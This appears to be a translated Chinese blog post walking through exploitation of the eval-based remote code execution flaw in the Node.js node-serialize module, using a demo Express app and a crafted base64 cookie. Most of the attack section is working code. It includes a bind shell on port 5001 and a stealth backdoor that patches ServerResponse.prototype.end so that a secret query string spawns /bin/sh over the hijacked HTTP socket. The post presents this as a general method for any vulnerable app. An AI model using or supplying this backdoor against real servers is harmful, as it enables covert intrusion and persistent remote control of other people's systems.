导语:几天前,我在opsecx博客上注意到一篇博文,是谈论有关于利用nodejs的node-serialize模块中的RCE(远程执行代码)漏洞的文章。
几天前,我在opsecx博客上注意到一篇博文,是谈论有关于利用nodejs的node-serialize模块中的RCE(远程执行代码)漏洞的文章。 文章很清楚地解释了存在安全问题的模块的详细信息,但有一件事情让我觉得不太妥当,使用Burp进行这个漏洞的利用,其过程比较复杂。 我没有攻击Burp不好用,相反,这是个极好的黑客工具 – 但我认为在这个漏洞的利用上我们可以做得更好。
在这篇文章中,我想说明一下我对这个特定的RCE漏洞的看法,也会分享一些额外的见解,这些可能对以后是有帮助的 ,也可能有助于你自己的研究。
攻击面
在我们开始之前,先来评估这个漏洞的攻击面是有用的。 node-serialize模块的使用程度还算不错。 在写本文时,每月大约有2000次的下载,并且有9个依赖中是没有子依赖关系的。
下面是所有依赖模块的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 我没有分析代码,也没有办法来识别这些依赖的实现中是否也是有漏洞的,但是由于这个RCE漏洞的性质我将假设这些依赖是有漏洞的。
尽管,更重要的是,我们还没有很好的回答一个问题——这个模块的使用实际上有多么广泛。不过,每月2000次的下载可能意味着许多事情,同时,也很难估计这个数字后面的应用程序的数量。 快速浏览github和google是获得关于这个问题的一些答案的唯一方法,并且这就是这个问题开始变得有趣的地方。
通过GitHub搜索显示了有97个潜在的易受攻击的公共模块和应用程序,这些模块或应用程序最可能被个人使用,因为这些项目并没有与npmjs.com谋求建立关系。 通过浏览项目代码,让我明白了这个漏洞的影响范围有多么广泛(或者没有)。 我很惊讶地发现,这个漏洞竟然与Pokémon有关。 继续去搞清楚!
在这里我要支持一下https://nodesecurity.io,因为它是现在这种情况下发现NodeJS安全问题的唯一方法,特别是与NodeJS模块系统有关系的安全问题。 它对开源项目是免费的。
测试环境
到目前为止,我们认为我们正在处理的这个漏洞是一个滥用潜力有限的漏洞,这从公共安全角度来看是有好处的。 让我们走近更加“学术”的一面,并利用这个漏洞。 为了测试漏洞,我们需要一个易被这个漏洞攻击的应用程序。 Opsecx的博文中提供了一个Demo所以我们使用它进行练习吧。 代码相当简单。
var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); res.send("Hello stranger"); } }); app.listen(3000);
你需要以下package.json文件来完成工作(npm install)。
{ "dependencies": { "cookie-parser": "^1.4.3", "escape-html": "^1.0.3", "express": "^4.14.1", "node-serialize": "0.0.4" } }
让我们跳过一些事情。 直接看代码吧,从代码中我们可以看到,此示例Web应用程序使用用户信息去设置了cookie,并且用户信息是使用有漏洞的node模块的进行了序列化对象。 且使用的是base64编码。我们可以使用ENcoder进行Base64解码来看看到底对那些信息做了序列化。
这看起来像一个标准的JSON。 同时,看起来也可以进行欺骗,这个问题我们将在后面讨论。 首先,让我们打开Rest 测试工具,以便可以对它进行请求测试。 请注意,我们使用Cookie构建器来获取正确的编码,并使用Encode小工具将JSON字符串转换为Base64编码的格式。
EXP
现在我们有了一个可以正常工作的HTTP请求,我们需要将它转换为漏洞的Exp。 不过,首先要做的是了解node-serialize中的漏洞是如何产生的。 看看源代码,很明显,模块中的序列化函数如下所示。
查看完整代码:
https://github.com/luin/serialize/blob/c82e7c3c7e802002ae794162508ee930f4506842/lib/serialize.js#L41 } else if(typeof obj[key] === 'function') { var funcStr = obj[key].toString(); if(ISNATIVEFUNC.test(funcStr)) { if(ignoreNativeFunc) { funcStr = 'function() {throw new Error("Call a native function unserialized")}'; } else { throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.'); } } outputObj[key] = FUNCFLAG + funcStr; } else {
一旦我们调用unserialize方法,这个问题就会显现出来。 确切的代码行如下:
if(obj[key].indexOf(FUNCFLAG) === 0) { obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
这意味着如果我们创建一个JSON对象,并且这个对象包含以_ $$ND_FUNC$$_开头的任意参数的值,我们将可以远程执行代码,因为代码中执行了eval函数。 要测试这个想法,我们可以使用以下设置。
如果请求成功,应该就会成功执行代码,之后你将会收到一个错误,因为服务器将在请求完成之前退出,因为我们执行了process.exit()。 现在我们有了远程代码执行漏洞了,但我们可以做得更好。
攻击支点
我发现在opsecx博客文章中提出的利用技术有点粗鲁。 这对于演示目的是完全正确的,但考虑到我们已经在node进程中实现了调用eval函数,我们可以做许多事情,并且以更优雅的姿势hack,而不需要涉及python和其他的阶段攻击。 因为我们要写几大段的代码块,可能也会修改我们的exploit,使它更容易使用。 为此,我们将使用Rest工具的变量功能。 进入变量选项卡,并设置一个名为“code”的新变量。
这个变量用于存储我们的攻击代码,使我们不必担心编码问题。 现在我们要做的是修改配置文件的cookie,以便“code”变量以正确德编码方式嵌入在JSON和node-serialize的特殊函数中。
这很完美!现在每次我们更改code变量时,配置文件的cookie中的payload将会动态更改,通过之前设置的编码和node-serialize 魔法来使其完美的执行完成。
后门
我们需要处理我们的payload代码。假设我们不知道应用程序是如何工作的,那我们需要一个通用的方法来利用它,或者对于任何其他的应用程序,既没有顺手的环境也没有一些预先的知识了解情况。这意味着我们不能依赖可能存在或可能不存在的全局范围的变量。我们不能依赖express的应用程序导出,因此它可以通过访问额外的路由进行安装。我们不想生成新的端口或反向shell,以保持最小的配置文件等。
这样的要求有点高,但在做了一些研究后,很容易找到一种方法,并可以很好的工作。
我们的旅程将从http模块引用ServerResponse函数开始。 ServerResponse的prototype被用于expressjs中的响应对象的__proto__。
/** * Response prototype. */ var res = module.exports = { __proto__: http.ServerResponse.prototype };
这意味着如果我们更改了ServerResponse的原型也就改变了响应的__proto__。 响应对象的send方法调用了ServerResponse原型。
if (req.method === 'HEAD') { // skip body for HEAD this.end(); } else { // respond this.end(chunk, encoding); }
这意味着一旦send方法被调用,也将会调用end方法,这恰好来自ServerResponse的原型。 由于send方法被充分地用于任何与expressjs相关的事情,这也意味着我们现在有一个直接的方法来快速访问一些更有趣的结构,如当前打开的套接字对象。 如果我们重写原型的end方法,就意味着我们可以从this对象的引用获得一个对socket对象的引用。
实现这种效果的代码看起来如下:
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket gives us the current open socket } })(require('http').ServerResponse.prototype.end)
由于我们覆盖了end的原型,我们还需要以某种方式区分我们的后门启动请求和任何其他正常请求,因为这可能会导致一些意想不到的行为。 我们将检查请求参数中的特殊字符串(abc123),告诉我们这是我们自己的恶意请求。 可以从socket对象访问httpMessage对象来检索此信息:
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket._httpMessage.req.query give us reference to the query } })(require('http').ServerResponse.prototype.end)
现在我们有了一切。 剩下的就是启动shell。 在nodeJs中这相对简单一些:
var cp = require('child_process') var net = require('net') net.createServer((socket) => { var sh = cp.spawn('/bin/sh') sh.stdout.pipe(socket) sh.stderr.pipe(socket) socket.pipe(sh.stdin) }).listen(5001)
合并上面两个代码段之后,最终的代码如下所示。 注意我们是如何通过重用已经建立的套接字来转向到end函数并在Node进程中创建一个shell的。
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
现在打开netcat连接到localhost 3000并键入以下请求
$ nc localhost 3000 GET /?q=abc123 HTTP/1.1 ls -la
然而这看起来并没有按照我们的预期执行命令,不过,你看,我们正在劫持一个现有的套接字。 经过一番检查和思考,最终的代码看起来像这样。
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)) var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
到这里基本上就结束了。 现在,我们就可以用你所喜欢的任何方式利用这个漏洞了。 使用带有我们的特殊字符串的参数进行请求就可以利用相同的服务器进程和建立的套接字来获得一个远程shell。
结论
我们从一个简单的RCE漏洞开始,最终创建了一个通用的利用已经建立的HTTP通道来生成一个shell的方法,它应该在许多类型的情况下独立工作。 整个利用过程中最好的部分是在Rest的帮助下进行了简单的利用过程的分析。